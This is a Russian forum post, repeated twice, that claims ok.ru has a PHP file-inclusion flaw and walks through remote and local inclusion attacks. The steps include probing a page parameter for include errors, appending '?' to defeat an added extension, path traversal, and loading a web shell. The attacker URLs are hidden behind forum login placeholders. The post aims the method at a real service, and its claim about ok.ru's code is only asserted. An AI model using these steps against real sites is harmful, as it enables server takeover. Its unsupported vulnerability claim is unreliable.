Недавно найдена уязвимость в ок.ру, и я расскажу вам, как использовать эту уязвимость.
Для начала нам требуется вывести эту уязвимость. Выбираем любое фото или надпись на стенке и пишем любой комментарий, нажимаем кнопку обновить и ищем в ссылке page=1
1 - это отображаемая страница.
Теперь мы видим, что ок использует комманду page=1 для отображения запрашиваемой страницы.
Код будет выглядить так:
PHP:
<?php
$file =$_GET['page']; //Отображаемая страница
include($file);
?>
Это значит, что все, выводимое на странице, будет внедрено в php-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
PHP:
Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
PHP:
<?php
$file ="
include($file); //$file - это внедренный злоумышленником скрипт
?>
Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.
Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include()позволяет запускать удаленные файлы.
Почему в примере был указан скрипт с расширением *.txt, а не *.php?
Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.
Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.
Пример:
PHP:
<?php
$file =$_GET['page'];
include($file .".php");
?>
Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().
Т.е.
PHP:
Превращается в
PHP:
С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
PHP:
Но он остается исполняемым.
RFI - удаленный инклюд при PHP-инъекции.
Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
PHP:
/index.php?page=main
Подставляем вместо main любое бредовое значение, например upyachka
PHP:
/index.php?page=upyachka
В ответ получим ошибку:
PHP:
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
PHP:
Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.
LFI - локальный инклюд при PHP-инъекции.
Представим, что мы набрели на тот же уязвимый сайт
PHP:
/index.php?file=main
С кодом
PHP:
<?
..
Include ("folder/$page.htm");
…
?>
Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
PHP:
/index.php?page=../index.php
В следующем случае код выглядит вот таким образом:
PHP:
<?
..
Include ("$dir1/folder/page.php");
…
?>
В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
PHP:
Инъекция в таком случае будет выглядить так:
PHP:
index.php?dir1=
Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь
Для начала нам требуется вывести эту уязвимость. Выбираем любое фото или надпись на стенке и пишем любой комментарий, нажимаем кнопку обновить и ищем в ссылке page=1
1 - это отображаемая страница.
Теперь мы видим, что ок использует комманду page=1 для отображения запрашиваемой страницы.
Код будет выглядить так:
PHP:
<?php
$file =$_GET['page']; //Отображаемая страница
include($file);
?>
Это значит, что все, выводимое на странице, будет внедрено в php-код этой страницы. Следовательно атакующий может проделать что-то наподобии:
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Если посмотреть, что происходит после выполнения инклуда, нам представится следующий код, выполненный на целевом сервере:
PHP:
<?php
$file ="
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
"; //$_GET['page']; include($file); //$file - это внедренный злоумышленником скрипт
?>
Мы видим, что злоумышленник произвел успешную атаку на целевой сервер.
Подробнее:
И так, почему же злоумышленник смог провести PHP-инъекцию?
Все потому что функция include()позволяет запускать удаленные файлы.
Почему в примере был указан скрипт с расширением *.txt, а не *.php?
Ответ прост, если бы скрипт имел формат *.php, он бы запустился на сервере злоумышленника, а не на целевой системе.
Так же был добавлен символ "?" в пути к внедряемому скрипту, чтобы убрать что-либо, находящееся внутри функцииinclude() на целевом сервере.
Пример:
PHP:
<?php
$file =$_GET['page'];
include($file .".php");
?>
Этот скрипт добавляет расширение *.phpк чему либо, вызываемомому коммандойinclude().
Т.е.
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Превращается в
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
С таким именем скрипт не запустится (на сервере злоумышленника не существует фала /вредоносный_скрипт.txt.php)
По этому, мы и добавляем "?" в конец пути к вредоносному скрипту:
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Но он остается исполняемым.
RFI - удаленный инклюд при PHP-инъекции.
Возможность проведения RFI - довольно частая бага в двигах.
Найти ее можно следущим образом:
Допустим мы случайно набрели на страницу, в адресной строке броузера заканчивающуюся подобным образом:
PHP:
/index.php?page=main
Подставляем вместо main любое бредовое значение, например upyachka
PHP:
/index.php?page=upyachka
В ответ получим ошибку:
PHP:
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3
Warning: main(upyachka.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3
Warning: main(): Failed opening 'upyachka.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3
Это показывает нам на то, что инклуд осуществим.
Пробуем подставить вместо upyachkaсайт с путем до шелла (расширения файла шелла не должно указываться, или указывать его, как было описано выше)
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Таким образом получен шелл. Теперь нужно сообщить админу сайта об уязвимости, что бы он исправил, и злые дядьки не воспользовались багой.
LFI - локальный инклюд при PHP-инъекции.
Представим, что мы набрели на тот же уязвимый сайт
PHP:
/index.php?file=main
С кодом
PHP:
<?
..
Include ("folder/$page.htm");
…
?>
Это уже локальный инклюд. В этой ситуации возможен только листинг файлов:
PHP:
/index.php?page=../index.php
В следующем случае код выглядит вот таким образом:
PHP:
<?
..
Include ("$dir1/folder/page.php");
…
?>
В этом случае можно прописать путь к шеллу следующим образом:
Создаем папку folder на сайте, где хранится шелл, в эту папку закидываем шелл:
PHP:
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Инъекция в таком случае будет выглядить так:
PHP:
index.php?dir1=
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Если вы не знаете как написать вредоностный скрипт, то Гугл в помощь